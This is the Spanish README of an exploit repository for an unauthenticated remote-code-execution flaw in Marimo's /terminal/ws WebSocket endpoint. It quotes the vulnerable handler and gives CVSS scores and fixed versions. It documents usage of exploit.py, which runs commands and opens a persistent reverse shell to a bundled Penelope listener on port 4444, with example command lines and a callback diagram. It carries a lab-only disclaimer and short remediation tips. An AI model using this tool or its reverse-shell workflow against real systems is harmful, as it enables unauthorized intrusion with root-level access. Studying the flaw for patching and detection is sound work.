
Exploit de Marimo anterior a 0.23.0. Vulnerabilidad RCE sin autenticación previa a través del endpoint websocket: /terminal/ws.
/terminal/ws)CVSS 4.0 : 9.3 CRITICAL
CVSS 3.x : 9.8 CRITICAL
CWE : CWE-306 (Missing Authentication for Critical Function)
Fix : Marimo 0.23.0+
Affects : Marimo <= 0.20.4 (all builds prior to the auth fix)
Ejecución remota de código sin autenticación previa en Marimo, un servidor de notebooks reactivo de Python.
Una única conexión WebSocket no autenticada a /terminal/ws proporciona una shell PTY interactiva completa con el usuario que ejecuta el proceso de Marimo (a menudo root en Docker).
Solo laboratorio / pruebas autorizadas (HTB, CTF, proyectos con alcance por escrito).
Marimo expone una terminal integrada a través de WebSocket en:
ws://<host>:<port>/terminal/ws
wss://<host>/terminal/ws
Otras rutas WebSocket (especialmente /ws para la interfaz del notebook) llaman correctamente a validate_auth().
/terminal/ws no lo hace. Solo comprueba:
y a continuación inmediatamente:
await websocket.accept()
child_pid, fd = pty.fork() # full system shell
No se requiere cookie, token, contraseña ni cabecera Authorization, incluso cuando la autenticación está habilitada en la instancia.
Impacto: ejecución arbitraria de comandos sin autenticación con los privilegios del proceso de Marimo. En las imágenes de contenedor predeterminadas esto suele ser root.
Archivo (árbol vulnerable): marimo/_server/api/endpoints/terminal.py
@router.websocket("/ws")
async def websocket_endpoint(websocket: WebSocket) -> None:
app_state = AppState(websocket)
if app_state.mode != SessionMode.EDIT:
await websocket.close(...)
return
if not supports_terminal():
await websocket.close(...)
return
# <<< no validate_auth() / @requires("edit") >>>
await websocket.accept()
child_pid, fd = pty.fork()
# ... bridge WebSocket <-> PTY ...
Compárese con el WebSocket del notebook (ws_endpoint.py), que sí aplica autenticación:
validator = WebSocketConnectionValidator(websocket, app_state)
if not await validator.validate_auth():
return
Attacker Marimo (edit mode)
| |
| WS upgrade /terminal/ws |
|----------------------------------->|
| 101 Switching Protocols |
| (no auth challenge) |
|<-----------------------------------|
| | pty.fork() → /bin/bash
| "id\n" |
|----------------------------------->|
| uid=1000(marimo) ... |
|<-----------------------------------|
| persistent reverse shell |
|----------------------------------->|
| <======== TCP shell =======|
ws(s)://target/terminal/ws sin credenciales| Estado | Versiones |
|---|---|
| Vulnerable | Marimo <= 0.20.4 (pre-fix) |
| Corregido | Marimo 0.23.0 y posteriores |
Cualquier despliegue que exponga el WebSocket de la terminal (modo edición, PTY compatible) sin una puerta de enlace de autenticación externa está en el alcance.
| Archivo | Rol |
|---|---|
exploit.py | PoC: ejecución de comandos + shell inversa persistente + lanzador de Penelope |
penelope.py | Manejador de shell independiente (brightio/penelope) |
git clone <this-repo> CVE-2026-39987
cd CVE-2026-39987
chmod +x exploit.py penelope.py
penelope.py no necesita dependencias adicionales (biblioteca estándar de Python 3.6+).
python3 exploit.py https://example.lab "id"
python3 exploit.py https://example.lab -p
python3 exploit.py wss://example.lab/terminal/ws "whoami"
Qué ocurre:
/terminal/ws0.0.0.0:4444python3 exploit.py -h
Penelope se incluye como un script independiente (penelope.py):
Flujo predeterminado (-p):
exploit.py
├── fork child ──delay──► WS /terminal/ws ──► setsid/nohup revshell
│
└── exec ► penelope.py <PORT> -i 0.0.0.0
▲
│ TCP callback
└── victim
El hijo se usa a propósito: os.execv(penelope) reemplaza la imagen del proceso padre, lo que mataría un hilo en segundo plano.
Penelope manual:
python3 penelope.py 4444
python3 penelope.py 4444 -i 0.0.0.0
python3 penelope.py -a # show sample payloads for active listeners
pip install -U marimo).env, claves SSH), audita las conexiones salientes y la persistenciaEste proyecto es únicamente para pruebas de seguridad autorizadas, educación e investigación defensiva.
Eres responsable de cumplir con las leyes aplicables y las reglas de compromiso de tu laboratorio o cliente.
README.md| Este archivo |